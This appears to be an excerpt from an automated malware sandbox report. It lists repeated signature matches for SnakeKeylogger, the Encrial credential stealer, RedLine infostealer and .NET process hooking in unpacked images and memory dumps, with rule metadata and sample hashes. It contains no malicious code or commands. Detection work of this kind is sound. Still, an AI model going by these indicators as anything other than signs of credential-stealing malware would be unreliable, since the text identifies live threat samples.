            Source: 7.2.nhpoymuP.pif.27840ee8.4.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 7.2.nhpoymuP.pif.27840ee8.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 7.3.nhpoymuP.pif.25817960.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 14.2.nhpoymuP.pif.28470ee8.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 7.3.nhpoymuP.pif.25817960.0.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 14.2.nhpoymuP.pif.28470ee8.4.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 7.3.nhpoymuP.pif.25817960.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 14.2.nhpoymuP.pif.28470ee8.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.30656458.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.30656458.4.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 0.2.image.exe.21e933d8.10.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 3.2.nhpoymuP.pif.30656458.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 7.2.nhpoymuP.pif.27a00000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 7.2.nhpoymuP.pif.27a00000.5.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 7.2.nhpoymuP.pif.27a00000.5.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 4.2.Pumyophn.PIF.215835b8.5.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 7.2.nhpoymuP.pif.275099de.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.31c30000.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.31c30000.6.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.2.nhpoymuP.pif.31c30000.6.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 7.2.nhpoymuP.pif.275099de.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 7.2.nhpoymuP.pif.27840000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 7.2.nhpoymuP.pif.275099de.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.30655570.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 14.3.nhpoymuP.pif.240bcc58.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 7.2.nhpoymuP.pif.2750a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 7.2.nhpoymuP.pif.27840000.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 3.2.nhpoymuP.pif.30655570.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 14.3.nhpoymuP.pif.240bcc58.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 7.2.nhpoymuP.pif.2750a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 7.2.nhpoymuP.pif.27840000.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 7.2.nhpoymuP.pif.2750a8c6.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 3.2.nhpoymuP.pif.30655570.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 14.3.nhpoymuP.pif.240bcc58.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 00000007.00000001.1828156271.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 00000007.00000002.2945818229.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
            Source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
            Source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
            Source: 0000000E.00000001.1913774017.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 0000000E.00000002.2945858419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 00000003.00000002.1965140113.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
            Source: 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
